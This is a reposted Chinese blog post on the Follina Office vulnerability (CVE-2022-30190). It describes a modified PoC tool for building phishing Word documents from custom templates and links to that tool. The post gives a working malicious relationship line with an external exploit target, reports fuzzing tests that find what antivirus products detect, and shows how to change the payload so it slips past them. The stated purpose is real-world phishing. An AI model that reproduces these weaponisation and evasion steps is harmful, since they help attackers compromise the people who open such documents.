ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】

2022-06-18 12:36:20  阅读:154  来源: 互联网

标签:30190 xml word 自定义 文件 rels 文档 document


昨天看了下'Follina' MS-MSDT n-day Microsoft Office RCE 这个漏洞,修改了下chvancooten的脚本,实现可以自定义word模板,便于实战中钓鱼使用,自己编辑好钓鱼word文档后-f参数指定即可。

也可以从我的github上下载:https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

1.复现

使用https://github.com/chvancooten/follina.py的项目生成恶意word文件,可以实现命令执行,不过腾讯电脑管家、火绒会查杀
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2. 分析poc

主要就是两处,一处是改word的word/_rels目录下新添加一个document.xml.rels文件,里面是一个windows.location.href加载远程连接
在这里插入图片描述
远程html中放着ms-msdt:/协议写的HTML
在这里插入图片描述
最后将文件压缩打包成docx。

3. Fuzz

第一种
分析后可知只是在word的word/_rels修改了document.xml.rels文件
应对实战空文件不行,随便新建一个文件然后添加一些内容,然后解压后将document.xml.rels放入,再压缩回去,发现不会触发。

第二种
生成的clickme.docx 不修改的情况下,可以多次触发,只要修改就不能触发了
在这里插入图片描述
第三种
修改document.xml.rels 文件名不行,依然查杀

第四种fuzz内容
查杀的是请求外链,http字样就会查杀
在这里插入图片描述

mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html
换成
http://localhost:80/exploit.html!

就可以了

但是实战中要用到自己的word模板,要不然受害者一点开就会觉察到不正常,所以为了贴近实战,修改了脚本,可以自定义word模板。

4.再分析

4.1.word结构和poc分析

在这里插入图片描述
word文件结构:

.
├── [Content_Types].xml   // 描述的是整个文档的内容。把各个XML文件组合成一个整体
├── _rels                 // 定义Package(Zip包)和它所直接包含的Part之间的关系。对于一个 Part 来说,如果它依赖其他 Part,那么需要为这个 Part 创建一个目录,并且也有一个 _rels 目录,目录下面会有一个 partname.rels 文件。比如 /word/document.xml 就是很典型的例子
├── docProps              // 记录docx文档的主要属性信息
│   ├── app.xml          // 描述文档的文档类型、版本、只读信息、共享、安全属性等信息
│   └── core.xml         // 描述文档的创建时间、标题、主题和作者等基于Open XML约定文档格式的通用文件属性信息
└── word
    ├── _rels
    │   └── document.xml.rels
    ├── charts
    │   ├── _rels
    │   │   ├── chart1.xml.rels  \\ 映射表存放文件文本框文件的位置
    │   ├── chart1.xml
    │   ├── colors1.xml
    │   ├── colors2.xml
    │   ├── style1.xml
    │   ├── style2.xml
    ├── document.xml    // 文档中所有可见文字的内容和属性及不可见部分的内容和属性
    ├── embeddings
    │   ├── Microsoft_Excel_Worksheet.xlsx
    │   ├── Microsoft_Excel_Worksheet1.xlsx
    │   ├── oleObject1.bin  // OLE是Object Linking and Embedding的缩写,直译为对象连接与嵌入;满足用户在一个文档中加入不同格式数据的需要(如文本、图像、声音等),即解决建立复合文档问题。
    │   ├── oleObject2.bin
    │   ├── oleObject3.bin
    │   ├── oleObject4.bin
    ├── endnotes.xml 
    ├── fontTable.xml    // 文档所使用的字体信息
    ├── footer1.xml
    ├── footer2.xml
    ├── footnotes.xml    // 文档中脚注部分信息
    ├── header1.xml
    ├── header2.xml
    ├── media               // Word中的多媒体文件,如插入的图片、公式对应的wmf文件等
    │   ├── image1.emf
    │   ├── image2.png
    │   ├── image3.jpeg
    │   ├── image4.wmf
    │   ├── image5.emf
    ├── numbering.xml          // Word中的有序列表、无序列表等的信息,定义了列表的样式、序号等信息
    ├── settings.xml           // 文档的总体设置信息
    ├── styles.xml             // Word的样式信息,定义样式的展示优先级以及段落、表格等样式
    ├── theme                  // 文档的主题的所有信息,如颜色、字体大小
    │   ├── theme1.xml
    │   ├── themeOverride1.xml
    │   └── themeOverride2.xml
    └── webSettings.xml        // 文档左右间距等的样式信息

分析word的目录结构,了解到Word/document.xml 是文件的内容
[Content_Types].xml存储的是part名称和类型
每一个part是一个xml,part如果引用外部文件就需要在当前目录下创建一个_rels文件夹,下面存放外部引用的rels文件,poc中就是用了document.xml的外部引用。
在这里插入图片描述
Poc脚本的模板使用的rid是1337,控制修改在documen.xml中如下修改改成了1111
在这里插入图片描述
然后 document.xml.rels 对应修改成了之后就可以使用了

4.2.关于文件内容

通过了解word的结构后,如果想要文件内容是自定义的,即自创建模板,可以修改document.xml即可
填上如下部分即可
在这里插入图片描述
在这里插入图片描述

然后对应的xxx.xml.rels文件中添加外部引用的一行,注意rid对应即可。

<Relationship Id="rId1111" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://localhost:80/exploit!" TargetMode="External"/>

如下自创模板,并触发漏洞
在这里插入图片描述

4.3.静态免杀

在这里插入图片描述
上线测试
在这里插入图片描述
最后编写了自定义word模板的脚本:
在这里插入图片描述
在这里插入图片描述
​工具下载:https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

技术交流

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

知识星球
团队建立了知识星球,不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。感兴趣的可以加一下。



标签:30190,xml,word,自定义,文件,rels,文档,document
来源: https://www.cnblogs.com/forforever/p/16370895.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有